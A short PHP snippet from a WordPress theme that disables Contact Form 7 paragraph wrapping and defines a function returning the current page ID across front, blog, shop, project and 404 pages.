/* Remove Paragraph from contact form 7 plugin fields */
add_filter('wpcf7_autop_or_not', '__return_false');
/*
* Return Current Page ID
*/
function visva_get_current_page_id() {
$current_page = -1;
if ( is_front_page() && is_home() ) {
$page_for_posts = get_option( 'page_for_posts' );
if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
$current_page = $page_for_posts;
}
} elseif ( is_front_page() ) {
$page_id = get_option('page_on_front');
if( ! empty( $page_id ) && $page_id != -1 ) {
$current_page = $page_id;
}
} elseif ( is_home() ) {
/* Blog page */
$page_for_posts = get_option( 'page_for_posts' );
if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
$current_page = $page_for_posts;
}
} elseif ( ( function_exists('is_projects_archive') && is_projects_archive() ) || ( function_exists('is_project_category') && is_project_category() ) ) {
$projects_page_id = projects_get_page_id( 'projects' );
if( ! empty( $projects_page_id ) && $projects_page_id != -1 ) {
$current_page = projects_get_page_id( 'projects' );
}
} elseif( is_post_type_archive( 'team-member' ) ) {
$team_member = -1;
} elseif( function_exists('is_shop') && is_shop() ) {
$current_page = get_option( 'woocommerce_shop_page_id' );
} elseif( function_exists('is_product_category') && is_product_category() ) {
$current_page = get_option( 'woocommerce_shop_page_id' );
} elseif( function_exists('is_product_tag') && is_product_tag() ) {
$current_page = get_option( 'woocommerce_shop_page_id' );
} elseif( function_exists( 'is_project' ) && is_project() ) {
$current_page = get_the_ID();
} elseif( is_404() ) {
$current_page = -2;
} elseif( is_page() ) {
$current_page = get_the_ID();
} elseif ( is_post_type_archive('post') ) {
$page_for_posts = get_option( 'page_for_posts' );
if( ! empty( $page_for_posts ) && $page_for_posts != -1 ) {
$current_page = $page_for_posts;
}
}
return $current_page;
}